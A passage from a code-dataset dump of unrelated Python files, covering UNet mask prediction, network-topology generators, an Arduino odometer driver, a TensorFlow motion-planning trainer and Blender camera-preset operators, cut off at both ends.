]\n )\n\n probs = tf(probs.cpu())\n full_mask = probs.squeeze().cpu().numpy()\n\n return full_mask > out_threshold\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description='Predict masks from input images',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--model', '-m', default='MODEL.pth',\n metavar='FILE',\n help=\"Specify the file in which the model is stored\")\n parser.add_argument('--input', '-i', metavar='INPUT', nargs='+',\n help='filenames of input images', required=True)\n\n parser.add_argument('--output', '-o', metavar='INPUT', nargs='+',\n help='Filenames of ouput images')\n parser.add_argument('--viz', '-v', action='store_true',\n help=\"Visualize the images as they are processed\",\n default=False)\n parser.add_argument('--no-save', '-n', action='store_true',\n help=\"Do not save the output masks\",\n default=False)\n parser.add_argument('--mask-threshold', '-t', type=float,\n help=\"Minimum probability value to consider a mask pixel white\",\n default=0.5)\n # parser.add_argument('--scale', '-s', type=float,\n # help=\"Scale factor for the input images\",\n # default=0.5)\n\n return parser.parse_args()\n\n\ndef get_output_filenames(args):\n in_files = args.input\n out_files = []\n\n if not args.output:\n for f in in_files:\n pathsplit = os.path.splitext(f)\n out_files.append(\"{}_OUT{}\".format(pathsplit[0], pathsplit[1]))\n elif len(in_files) != len(args.output):\n logging.error(\"Input files and output files are not of the same length\")\n raise SystemExit()\n else:\n out_files = args.output\n\n return out_files\n\n\ndef mask_to_image(mask):\n return Image.fromarray((mask * 255).astype(np.uint8))\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')\n\n model_path = \"checkpoints4/CP_epoch20.pth\"\n\n net = UNet(n_channels=3, n_classes=1)\n\n logging.info(\"Loading model {}\".format(model_path))\n\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n logging.info(f'Using device {device}')\n net.to(device=device)\n net.load_state_dict(torch.load(model_path, map_location=device))\n\n logging.info(\"Model loaded !\")\n\n dataset = CancerDataset()\n print(\"DATASET LOADED!!!\")\n\n val_percent = 0\n batch_size = 1\n\n train_loader = DataLoader(dataset, batch_size=batch_size, shuffle=False, num_workers=4, pin_memory=True)\n i = 0\n with torch.no_grad():\n for imgs, true_masks in train_loader:\n imgs = imgs.to(device=device, dtype=torch.float32)\n mask_type = torch.float32 if net.n_classes == 1 else torch.long\n true_masks = true_masks.to(device=device, dtype=mask_type)\n\n predicted_masks = net(imgs)\n probabilities = torch.sigmoid(predicted_masks)\n\n print(probabilities.shape)\n print(\"I: \", i)\n prob = (probabilities.cpu() * 255)[0].numpy().transpose((1, 2, 0))\n print(prob.shape)\n\n threshold = 0.5\n prob[prob < threshold * 255] = 0\n\n cv2.imwrite(\"rubbish4/{}_predicted.png\".format(i),\n cv2.applyColorMap(prob.astype(np.uint8), cv2.COLORMAP_JET))\n cv2.imwrite(\"rubbish4/{}_image.png\".format(i), (imgs.cpu() * 255)[0].numpy().transpose((1, 2, 0)))\n cv2.imwrite(\"rubbish4/{}_mask_original.png\".format(i),\n (true_masks.cpu() * 255)[0].numpy().transpose((1, 2, 0)))\n # plt.imshow(prob)\n # plt.show()\n # plt.close()\n i += 1\n if i >= 80:\n break\n","sub_path":"unet/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"601550439","text":"import unittest\nfrom ToSidewalk.node import Node\nfrom ToSidewalk.edge import Edge\nfrom ToSidewalk.path import Path\nfrom ToSidewalk.utilities import window\n\n\nclass TestPathMethods(unittest.TestCase):\n def test_get_nodes(self):\n nodes = [Node(i, i, 0) for i in range(10)]\n\n from random import shuffle\n shuffle(nodes)\n edges = [Edge(source, target) for source, target in window(nodes, 2)]\n path = Path(0, edges)\n\n for n1, n2 in zip(map(lambda e: e.source, path.edges), path.get_nodes()[:-1]):\n self.assertEqual(n1, n2)\n\n def test_merge(self):\n nodes = [Node(i, i, 0) for i in range(10)]\n edges = [Edge(source, target) for source, target in window(nodes, 2)]\n path = Path(0, edges)\n\n e1 = edges[1]\n e2 = edges[2]\n\n new_edge = path.merge_edges(edges[1], edges[2])\n self.assertFalse(e1 in nodes[1].edges)\n self.assertFalse(e2 in nodes[2].edges)\n\n self.assertTrue(path == new_edge.path)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"ToSidewalk/test/test_path.py","file_name":"test_path.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"398621005","text":"import sys\nimport pygame\n\nclass ship():\n \"\"\"description of class\"\"\"\n def __init__(self,settings, screen):\n self.screen=screen\n self.image=pygame.image.load('images\\ship.png')\n self.rect=self.image.get_rect()\n self.screen_rect=screen.get_rect()\n self.rect.centerx=self.screen_rect.centerx\n self.rect.bottom=self.screen_rect.bottom\n self.move_Left=False\n self.move_Right=False\n self.settings=settings\n self.center=float(self.rect.centerx)\n\n def update(self):\n if self.move_Left and self.rect.left>0:\n self.center-=self.settings.ship_speed_factor\n elif self.move_Right and self.rect.right 0 else 0)\n\n def pickIndex(self) -> int:\n target = random.randrange(1, self.upper[-1] + 1)\n\n i, j = 0, len(self.upper) - 1\n\n while i < j:\n mid = (i + j) // 2\n if self.upper[mid] < target:\n i = mid + 1\n else:\n j = mid\n\n return i\n\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(w)\n# param_1 = obj.pickIndex()\n","sub_path":"528 Random Pick with Weight.py","file_name":"528 Random Pick with Weight.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"359300468","text":"import networkx as nx\nimport numpy as np\nfrom scipy import sparse\n\n#-- Network topologies --#\ndef barab1(n):\n \"\"\" Barabasi-Albert preferential attachment. Each node is added with one edge\n Parameter\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n m = 1\n A = nx.adj_matrix(nx.barabasi_albert_graph(n,m)).T\n return sparse.dok_matrix(A)\n\ndef barab2(n):\n \"\"\" Barabasi-Albert preferential attachment. Each node is added with two edges\n Parameter\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n m = 2\n A = nx.adj_matrix(nx.barabasi_albert_graph(n,m)).T\n return sparse.dok_matrix(A)\n\ndef barab4(n):\n \"\"\" Barabasi-Albert preferential attachment. Each node is added with two edges\n Parameter\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n m = 4\n A = nx.adj_matrix(nx.barabasi_albert_graph(n,m)).T\n return sparse.dok_matrix(A)\n\ndef erdos(mean_degree,n):\n \"\"\" Erdos-Renyi random graph.\n Parameter\n mean_degree (int): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n p = mean_degree/n\n A = nx.adj_matrix(nx.erdos_renyi_graph(n,p)).T\n return sparse.dok_matrix(A)\n\ndef random_digraph(mean_degree,n):\n \"\"\" Random digraph. Each directed edge is present with probability p = mean_degree/n.\n Since this is a directed graph model, mean_degree = mean in deegree = mean out degree\n Parameter\n mean_degree (int): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n p = mean_degree/n\n return sparse.random(n,n, density=p, data_rvs=np.ones, format='dok')\n\ndef watts2(p,n):\n \"\"\" Watts-Strogatz small world model\n Parameter\n p (float): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n k = 2\n A = nx.adj_matrix(nx.watts_strogatz_graph(n,k,p)).T\n return sparse.dok_matrix(A)\n\ndef watts3(p,n):\n \"\"\" Watts-Strogatz small world model\n Parameter\n p (float): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n k = 3\n A = nx.adj_matrix(nx.watts_strogatz_graph(n,k,p)).T\n return sparse.dok_matrix(A)\n\ndef watts4(p,n):\n \"\"\" Watts-Strogatz small world model\n Parameter\n p (float): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n k = 4\n A = nx.adj_matrix(nx.watts_strogatz_graph(n,k,p)).T\n return sparse.dok_matrix(A)\n\ndef watts5(p,n):\n \"\"\" Watts-Strogatz small world model\n Parameter\n p (float): specific to this topology\n n (int): n is the size of the network\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n k = 5\n A = nx.adj_matrix(nx.watts_strogatz_graph(n,k,p)).T\n return sparse.dok_matrix(A)\n\ndef geom(mean_degree, n):\n \"\"\" Random geometric graph\n \"\"\"\n if n is None:\n n = np.random.randint(smallest_network_size,biggest_network_size)\n r = (mean_degree/(np.pi*n))**.5\n A = nx.adj_matrix(nx.random_geometric_graph(n, r)).T\n return sparse.dok_matrix(A)\n\ndef no_edges(n):\n return sparse.csr_matrix((n,n))\n\ndef chain(n):\n A = sparse.lil_matrix((n,n))\n for i in range(n - 1):\n A[i+1, i] = 1\n return A\n\ndef loop(n):\n A = sparse.lil_matrix((n,n))\n for i in range(n - 1):\n A[i+1, i] = 1\n A[0, -1] = 1\n return A\n\ndef ident(n):\n return sparse.eye(n, format=\"lil\")\n\ndef remove_edges(A,nedges):\n \"\"\" Randomly removes 'nedges' edges from a sparse adj matrix 'A'\n \"\"\"\n A = A.todok()\n # Remove Edges\n keys = list(A.keys())\n remove_idx = np.random.choice(range(len(keys)),size=nedges, replace=False)\n remove = [keys[i] for i in remove_idx]\n for e in remove:\n A[e] = 0\n return A\n\ndef generate_adj(network, n, param=None):\n \"\"\" Generate a network with the supplied topology\n Parameters\n network (str) : one of the options in the list below\n ['barab1', 'barab2', 'barab4', 'erdos', 'random_digraph',\n 'watts3', 'watts5', 'watts2','watts4', 'geom', 'no_edges',\n 'loop', 'chain', 'ident'\n ]\n param (float) : specific to the topology\n n (int) : size of the topology, optional\n Returns\n An adjacency matrix with the specified network topology\n \"\"\"\n # the directory function in parameter_experiments.py needs to have the same\n # network_options as this function, so if more topologies are added, the directory\n # function in the other file should also be edited\n network_options = ['barab1', 'barab2', 'barab4',\n 'erdos', 'random_digraph',\n 'watts3', 'watts5',\n 'watts2','watts4',\n 'geom', 'no_edges',\n 'loop', 'chain',\n 'ident'\n ]\n\n if network not in network_options:\n raise ValueError(f'{network} not in {network_options}')\n\n if network == 'barab1':\n return barab1(n)\n if network == 'barab2':\n return barab2(n)\n if network == 'barab4':\n return barab4(n)\n if network == 'erdos':\n return erdos(param, n)\n if network == 'random_digraph':\n return random_digraph(param, n)\n if network == 'watts3':\n return watts3(param, n)\n if network == 'watts5':\n return watts5(param, n)\n if network == 'watts2':\n return watts2(param, n)\n if network == 'watts4':\n return watts4(param, n)\n if network == 'geom':\n net = geom(param, n)\n if network == 'no_edges':\n net = no_edges(n)\n if network == 'chain':\n net = chain(n)\n if network == 'loop':\n net = loop(n)\n if network == 'ident':\n net = ident(n)\n return net\n","sub_path":"rescomp/complex_networks.py","file_name":"complex_networks.py","file_ext":"py","file_size_in_byte":6673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"595594017","text":"'''\nCreated on Aug 9, 2017\n\n@author: Hao Wu\n'''\n\nfrom ScopeFoundry import HardwareComponent\nfrom VOTAScopeHW.arduino_odometer.arduino_odometer_dev import ArduinoOdometerDev\nimport time\nfrom math import exp\n\nclass ArduinoOdometerHW(HardwareComponent):\n '''\n Hardware Component Class for receiving AI input for breathing, licking etc\n '''\n \n name='arduino_odometer'\n\n def setup(self,port='COM4',baud_rate=250000):\n '''\n add settings for analog input event\n '''\n self.settings.New(name='port',initial=port,dtype=str,ro=False)\n self.settings.New(name='baud_rate',initial=baud_rate,dtype=int,ro=False)\n self.settings.New(name='x',initial=0,dtype=int,ro=True)\n self.settings.New(name='y',initial=0,dtype=int,ro=True)\n self.settings.New(name='vx',initial=0,dtype=int,ro=True)\n self.settings.New(name='vy',initial=0,dtype=int,ro=True)\n\n def read(self):\n position, speed = self._dev.read()\n self.settings.x.update_value(position[0])\n self.settings.y.update_value(position[1])\n self.settings.vx.update_value(speed[0])\n self.settings.vy.update_value(speed[1])\n \n def connect(self):\n self._dev=ArduinoOdometerDev(self.settings.port.value(),\n self.settings.baud_rate.value())\n\n\n \n \n def start(self):\n self._dev.open()\n \n def stop(self):\n self._dev.close()\n \n def disconnect(self):\n try:\n self.stop()\n del self._dev\n del self.write\n \n except AttributeError:\n pass\n","sub_path":"arduino_odometer/arduino_odometer_hw.py","file_name":"arduino_odometer_hw.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"363135134","text":"from __future__ import division\r\nfrom __future__ import unicode_literals\r\nfrom __future__ import print_function\r\nfrom __future__ import absolute_import\r\nfrom builtins import int\r\nfrom future import standard_library\r\nstandard_library.install_aliases()\r\nimport cv2\r\nimport numpy as np\r\nimport gripit.edgelib.util as util\r\nimport gripit.edgelib.draw_edge_list as de\r\nimport gripit.edgelib.edge_detect as ed\r\nimport copy\r\n\r\n\r\n\r\ndef roipoly(src, poly):\r\n mask = np.zeros_like(src, dtype=np.uint8)\r\n win = util.swap_indices(poly)\r\n cv2.fillConvexPoly(mask, win.astype(np.int32), 255) # Create the ROI\r\n res = src * mask\r\n # cv2.imshow(\"roi\", res)\r\n # cv2.waitKey(0)\r\n return res\r\n\r\n\r\ndef get_orientation(line, window_size):\r\n dy = abs(line[0] - line[2])\r\n dx = abs(line[1] - line[3])\r\n # Vertical or horizontal line test\r\n if dy > dx or dy == dx:\r\n pt1 = [line[0], line[1] - window_size]\r\n pt2 = [line[0], line[1] + window_size]\r\n pt3 = [line[2], line[3] - window_size]\r\n pt4 = [line[2], line[3] + window_size]\r\n return pt1, pt2, pt3, pt4\r\n else:\r\n pt1 = [line[0] - window_size, line[1]]\r\n pt2 = [line[0] + window_size, line[1]]\r\n pt3 = [line[2] - window_size, line[3]]\r\n pt4 = [line[2] + window_size, line[3]]\r\n return pt1, pt2, pt3, pt4\r\n\r\n\r\ndef get_ordering(pt1, pt2, pt3, pt4):\r\n temp1 = np.linalg.norm(np.subtract((np.add(pt1, pt3) / 2.0), (np.add(pt2, pt4) / 2.0)))\r\n temp2 = np.linalg.norm(np.subtract((np.add(pt1, pt4) / 2.0), (np.add(pt2, pt3) / 2.0)))\r\n res = np.array([pt1, pt3, pt4, pt2]) if temp1 > temp2 else np.array([pt1, pt4, pt3, pt2])\r\n return [[int(i) for i in pt] for pt in res]\r\n\r\n\r\ndef get_lin_index(x1, y1, imgsize):\r\n return np.ravel_multi_index((y1, x1), imgsize, order='F')\r\n\r\n\r\n# ref: https://stackoverflow.com/questions/29519726/find-matching-points-in-2-separate-numpy-arrays\r\ndef set_intersection(pA, pB):\r\n # Form concatenate array of pA and pB\r\n pts = np.concatenate((pA, pB), axis=0)\r\n\r\n # Sort pts by rows\r\n spts = pts[pts[:, 1].argsort(),]\r\n\r\n # Finally get counts by DIFFing along rows and counting all zero rows\r\n counts = np.sum(np.diff(np.all(np.diff(spts, axis=0) == 0, 1) + 0) == 1)\r\n\r\n return counts\r\n\r\n\r\ndef count_roi(im, win):\r\n roi = roipoly(im, win)\r\n line_c = np.where(roi == 255)\r\n pts = np.array(get_lin_index(line_c[1], line_c[0], roi.shape))\r\n return len(pts)\r\n\r\n\r\ndef classify_curves(curve_im, depth_im, list_lines, list_points, P):\r\n window_size = copy.deepcopy(P[\"classification_area\"][\"value\"])\r\n line_new = []\r\n # show both images to see where the lines belong\r\n # if settings.dev_mode is True:\r\n # cv2.imshow(\"curve im\", ed.create_img(curve_im))\r\n # cv2.imshow(\"depth im\", ed.create_img(depth_im))\r\n # going through each line\r\n for i, line in enumerate(list_lines):\r\n # strategy:\r\n # check the curve and depth image\r\n # whichever one has more tells us what kind of line it is\r\n\r\n pt1, pt2, pt3, pt4 = get_orientation(line, window_size)\r\n win = np.array(get_ordering(pt1, pt2, pt3, pt4))\r\n\r\n count_c = count_roi(curve_im, win)\r\n count_d = count_roi(depth_im, win)\r\n\r\n # determine if the line is a discontinuity if\r\n # it shows up in both curve and depth\r\n if abs(count_c - count_d) <= line[4] * .50:\r\n line_new.append(np.append(list_lines[i], [13]))\r\n # print(\"14, hole\", count_c, count_d)\"\"\"\r\n elif count_c > count_d:\r\n # Line is a curvature\r\n line_new.append(np.append(list_lines[i], [12]))\r\n # print(\"12, curv\", count_c, count_d)\r\n else:\r\n # discontinuity\r\n line_new.append(np.append(list_lines[i], [13]))\r\n # print(\"13, disc\", count_c, count_d)\r\n\r\n return np.array(line_new)\r\n\r\n\r\n\r\n\r\n","sub_path":"src/gripit/edgelib/classify_curves.py","file_name":"classify_curves.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"265868265","text":"import os\nimport sys\nimport datetime\nimport tensorflow as tf\nimport yaml\nimport time\n\nfrom baseline_action_predictor import BaselineActionPredictor\nfrom baseline_force_predictor import BaselineForcePredictor\nfrom compute_cache import ComputeCache\nfrom data_loader import DataLoader\nfrom batch_iterator import BatchIterator\nfrom distance_potential import MultipleDistancePotential\nfrom evaluation_manager import EvaluationManager\nfrom openrave_manager import OpenraveManager\nfrom performance_timer import PerformanceTimer\nfrom potential_point import PotentialPoint\nfrom saver_wrapper import SaverWrapper\nfrom shutil import copyfile\n\n\nif __name__ == '__main__':\n # disable tf warning\n # os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n # read the config\n config_path = os.path.join(os.getcwd(), 'config/config.yml')\n with open(config_path, 'r') as yml_file:\n config = yaml.load(yml_file)\n print('------------ Config ------------')\n print(yaml.dump(config))\n\n # set the name of the model\n model_name = config['general']['name']\n if model_name is None:\n model_name = \"\" if len(sys.argv) == 1 else sys.argv[1]\n\n # process potential points\n potential_points = PotentialPoint.from_config(config)\n main_openrave_manager = OpenraveManager(config, potential_points)\n\n\n\n # # compute the avg jacobian rank for all the paths:\n # for workspace_id in data_loader.configuration_paths:\n # for path_id in data_loader.configuration_paths[workspace_id]:\n # joints = [data_loader.pre_process_joints(j) for j in data_loader.configuration_paths[workspace_id][path_id]]\n # avg_rank = ros_manager.kdl_manager.compute_avg_jacobian_rank(joints, modeling_links)\n # print 'along workspace {} path {} the avg jacobian rank is {}'.format(workspace_id, path_id, avg_rank)\n\n pose_size = 2\n joints_configuration_size = 4\n batch_size = config['model']['batch_size']\n\n # where we save all the outputs\n working_dir = os.getcwd()\n now = datetime.datetime.fromtimestamp(time.time()).strftime('%Y_%m_%d_%H_%M_%S')\n saver_dir = os.path.join(working_dir, 'models', now, 'model_' + model_name)\n config_copy_path = os.path.join(working_dir, 'models', now, 'config.yml')\n summaries_dir = os.path.join(working_dir, 'tensorboard', now)\n completed_trajectories_dir = os.path.join(working_dir, 'trajectories', now)\n drift_dir = os.path.join(working_dir, 'drift', now)\n\n # load data\n data_loader = DataLoader(config)\n data_loader.load_data()\n workspace_image_shape = data_loader.workspace_image_shape\n\n def get_model(model_type):\n if model_type == 'distance_potential':\n return MultipleDistancePotential(\n config, workspace_image_shape, joints_configuration_size, pose_size)\n elif model_type == 'action_predictor':\n return BaselineActionPredictor(\n config, workspace_image_shape, joints_configuration_size, pose_size)\n elif model_type == 'force_predictor':\n # return BaselineForcePredictor(config, workspace_image_shape, joints_configuration_size, pose_size)\n # from baseline_individual_force_predictor import BaselineIndividualForcePredictor\n # return BaselineIndividualForcePredictor(config, workspace_image_shape, joints_configuration_size, pose_size)\n from baseline_direction_magnitude_force_predictor import BaselineDirectionMagnitudeForcePredictor\n return BaselineDirectionMagnitudeForcePredictor(config, workspace_image_shape, joints_configuration_size, pose_size)\n\n # generate graph:\n model = get_model(config['model']['actor'])\n model.finalize_graph()\n\n train_iterator = BatchIterator(data_loader.get_train_dataset, batch_size)\n test_iterator = BatchIterator(data_loader.get_test_dataset, batch_size)\n\n cache = ComputeCache(data_loader, main_openrave_manager, model)\n\n def create_predict_for_eval(sess, model):\n def predict_for_eval(eval_step_size, batch):\n eval_feed_dictionary = cache.make_feed_dictionary(batch, None)\n eval_feed_dictionary[model.step_size] = eval_step_size\n\n get_potential_force = model.pose_force is not None\n get_potential_centers = model.potential_centers is not None\n\n execution_list = [model.prediction]\n if get_potential_force:\n execution_list += [model.pose_force[p.tuple] for p in potential_points]\n if get_potential_centers:\n execution_list += [model.potential_centers[p.tuple] for p in potential_points]\n\n session_run_result = sess.run(execution_list, eval_feed_dictionary)\n model_prediction = session_run_result[0]\n potential_points_forces = None\n potential_centers = None\n\n if get_potential_force:\n potential_points_forces = {\n p.tuple: session_run_result[1+i] for i, p in enumerate(potential_points)}\n if get_potential_centers:\n potential_centers = {\n p.tuple: session_run_result[1 + len(potential_points) + i] for i, p in enumerate(potential_points)\n }\n return model_prediction, potential_points_forces, potential_centers\n\n return predict_for_eval\n\n def get_success_trackers():\n def _generate_success_tracker(workspace_id, path_id):\n k = (workspace_id, path_id)\n success_placeholders[k] = tf.placeholder(tf.float32)\n scalar = tf.Variable(0.0, trainable=False)\n success_assign_op[k] = tf.assign(scalar, success_placeholders[k])\n success_summaries.append(tf.summary.scalar('{}_{}_success'.format(k[0], k[1]), scalar))\n\n success_placeholders = {}\n success_assign_op = {}\n success_summaries = []\n # generate success tracker for all paths\n for workspace_id in data_loader.test_descriptions:\n for path_id in data_loader.test_descriptions[workspace_id]:\n _generate_success_tracker(workspace_id, path_id)\n # generate general success tracker\n _generate_success_tracker(None, None)\n return success_placeholders, success_assign_op, tf.summary.merge(success_summaries + [model.epoch_summary])\n\n success_placeholders, success_assign_op, merged_success_summary = get_success_trackers()\n\n # main train loop parameters\n performance_timer = PerformanceTimer()\n\n saver = SaverWrapper(saver_dir)\n global_step = 0\n epoch_learn_rate_reduction_rate = config['model']['epoch_learn_rate_reduction_rate']\n trajectory_every_epoch = config['test_trajectories']['test_every_epochs']\n # copy config to models dir\n copyfile(config_path, config_copy_path)\n\n def on_new_epoch(sess, model, epoch):\n sess.run(model.epoch_update)\n # if epoch_learn_rate_reduction_rate > 0 this means we should reduce the learn rate\n if epoch_learn_rate_reduction_rate > 0 and epoch % epoch_learn_rate_reduction_rate == (\n epoch_learn_rate_reduction_rate - 1):\n sess.run(model.reduce_learn_rate)\n print('starting epoch ' + str(epoch))\n\n def eval_trajectory(sess, summary_writer_trajectory, epoch):\n if trajectory_every_epoch > 0 and epoch % trajectory_every_epoch == trajectory_every_epoch - 1:\n performance_timer.start_timer(PerformanceTimer.TimerType.TRAJECTORY_PLANNER_ALL)\n # do trajectory evaluation\n successful_ratio, succeeded, failed_max_length, failed_collision = evaluation_manager.eval_paths(\n global_step, epoch)\n # combine to a single object\n success_per_path = {(workspace_id, path_id): 0 for workspace_id in data_loader.test_descriptions for\n path_id in data_loader.test_descriptions[workspace_id]}\n for workspace_id in succeeded:\n for path_id in succeeded[workspace_id]:\n success_per_path[(workspace_id, path_id)] = 1\n\n # update the results\n feed = {success_placeholders[k]: success_per_path[k] for k in success_per_path}\n feed[success_placeholders[(None, None)]] = successful_ratio\n ops = [success_assign_op[k] for k in success_per_path]\n ops.append(success_assign_op[(None, None)])\n ops.append(merged_success_summary)\n\n summary_writer_trajectory.add_summary(sess.run(ops, feed)[-1], global_step=global_step)\n performance_timer.stop_timer(PerformanceTimer.TimerType.TRAJECTORY_PLANNER_ALL)\n\n # main train loop\n with tf.Session(\n config=tf.ConfigProto(\n gpu_options=tf.GPUOptions(per_process_gpu_memory_fraction=config['general']['gpu_usage'])\n )\n ) as sess:\n summary_writer_train = tf.summary.FileWriter(os.path.join(summaries_dir, 'train_' + model_name), sess.graph)\n summary_writer_test = tf.summary.FileWriter(os.path.join(summaries_dir, 'test_' + model_name), sess.graph)\n summary_writer_trajectory = tf.summary.FileWriter(os.path.join(summaries_dir, 'trajectory_' + model_name),\n sess.graph)\n\n evaluation_manager = EvaluationManager(data_loader, main_openrave_manager, performance_timer,\n create_predict_for_eval(sess, model), config, completed_trajectories_dir)\n\n sess.run(tf.global_variables_initializer())\n for epoch in range(config['general']['epochs']):\n on_new_epoch(sess, model, epoch)\n for batch_index, train_batch in enumerate(train_iterator):\n performance_timer.start_timer(PerformanceTimer.TimerType.TRAIN)\n feed_dictionary = cache.make_feed_dictionary(train_batch, epoch)\n steps = [model.train_step, model.model_summary_step]\n if ((global_step + 1) % config['evaluation']['eval_after']) == 0:\n # write train summaries\n _, current_summary = sess.run(steps, feed_dictionary)\n summary_writer_train.add_summary(current_summary, global_step=global_step)\n performance_timer.stop_timer(PerformanceTimer.TimerType.TRAIN)\n # write test loss\n if epoch > 0:\n performance_timer.start_timer(PerformanceTimer.TimerType.TEST)\n for test_batch in test_iterator:\n # run one iteration\n summary_writer_test.add_summary(\n sess.run(steps[-1], cache.make_feed_dictionary(test_batch, None)),\n global_step=global_step\n )\n break\n performance_timer.stop_timer(PerformanceTimer.TimerType.TEST)\n else:\n sess.run(steps[:-1], feed_dictionary)\n performance_timer.stop_timer(PerformanceTimer.TimerType.TRAIN)\n if ((global_step + 1) % config['general']['save_model_every_train_steps']) == 0:\n # save model\n saver.save_model(sess, global_step=global_step)\n\n global_step += 1\n\n eval_trajectory(sess, summary_writer_trajectory, epoch)\n performance_timer.print_state()\n\n # at end - save model\n saver.save_model(sess, global_step=global_step)\n","sub_path":"scripts/supervised_trainer.py","file_name":"supervised_trainer.py","file_ext":"py","file_size_in_byte":11521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"427602328","text":"def read_file(f):\n '''\n Reads in a file line by line, creating an array of strings.\n '''\n urls = []\n url = ''\n for line in f:\n url = line.strip()\n if url != '':\n urls.append(url)\n return urls","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"445049375","text":"import bpy\nimport os\nfrom .functions import *\n\n\n#class CAMERA_PH_presets(Menu):\n# bl_label = \"cameras presets\"\n# preset_subdir = \"ph_camera\"\n# preset_operator = \"script.execute_preset\"\n# COMPAT_ENGINES = {'BLENDER_RENDER', 'BLENDER_GAME'}\n# draw = Menu.draw_preset\n\n\nclass VIEW3D_OT_tex_to_material(bpy.types.Operator):\n \"\"\"Create texture materials for images assigned in UV editor\"\"\"\n bl_idname = \"view3d.tex_to_material\"\n bl_label = \"Texface Images to Material/Texture (Material Utils)\"\n bl_options = {'REGISTER', 'UNDO'}\n\n @classmethod\n def poll(cls, context):\n return context.active_object is not None\n\n def execute(self, context):\n if context.selected_editable_objects:\n tex_to_mat()\n return {'FINISHED'}\n else:\n self.report({'WARNING'},\n \"No editable selected objects, could not finish\")\n return {'CANCELLED'}\n\nclass OBJECT_OT_IsometricScene(bpy.types.Operator):\n bl_idname = \"isometric.scene\"\n bl_label = \"Isometric scene\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n set_up_scene(3000,3000,True)\n return {'FINISHED'}\n\nclass OBJECT_OT_Canon6Dscene(bpy.types.Operator):\n bl_idname = \"canon6d.scene\"\n bl_label = \"Canon 6D scene\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n set_up_scene(5472,3648,False)\n return {'FINISHED'}\n \nclass OBJECT_OT_nikond3200scene(bpy.types.Operator):\n bl_idname = \"nikond3200.scene\"\n bl_label = \"Nikon d3200 scene\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n set_up_scene(4512,3000,False)\n return {'FINISHED'}\n\nclass OBJECT_OT_nikond320018mm(bpy.types.Operator):\n bl_idname = \"nikond320018mm.camera\"\n bl_label = \"Set as nikond3200 18mm\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n for obj in selection:\n set_up_lens(obj,23.2,15.4,18)\n return {'FINISHED'}\n\nclass OBJECT_OT_Canon6D35(bpy.types.Operator):\n bl_idname = \"canon6d35mm.camera\"\n bl_label = \"Set as Canon 6D 35mm\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n for obj in selection:\n set_up_lens(obj,35.8,23.9,35)\n return {'FINISHED'}\n\nclass OBJECT_OT_Canon6D24(bpy.types.Operator):\n bl_idname = \"canon6d24mm.camera\"\n bl_label = \"Set as Canon 6D 14mm\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n for obj in selection:\n set_up_lens(obj,35.8,23.9,24)\n return {'FINISHED'}\n\nclass OBJECT_OT_Canon6D14(bpy.types.Operator):\n bl_idname = \"canon6d14mm.camera\"\n bl_label = \"Set as Canon 6D 14mm\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n bpy.ops.object.select_all(action='DESELECT')\n for obj in selection:\n set_up_lens(obj,35.8,23.9,14.46)\n return {'FINISHED'}\n\nclass OBJECT_OT_BetterCameras(bpy.types.Operator):\n bl_idname = \"better.cameras\"\n bl_label = \"Better Cameras\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n selection = bpy.context.selected_objects\n 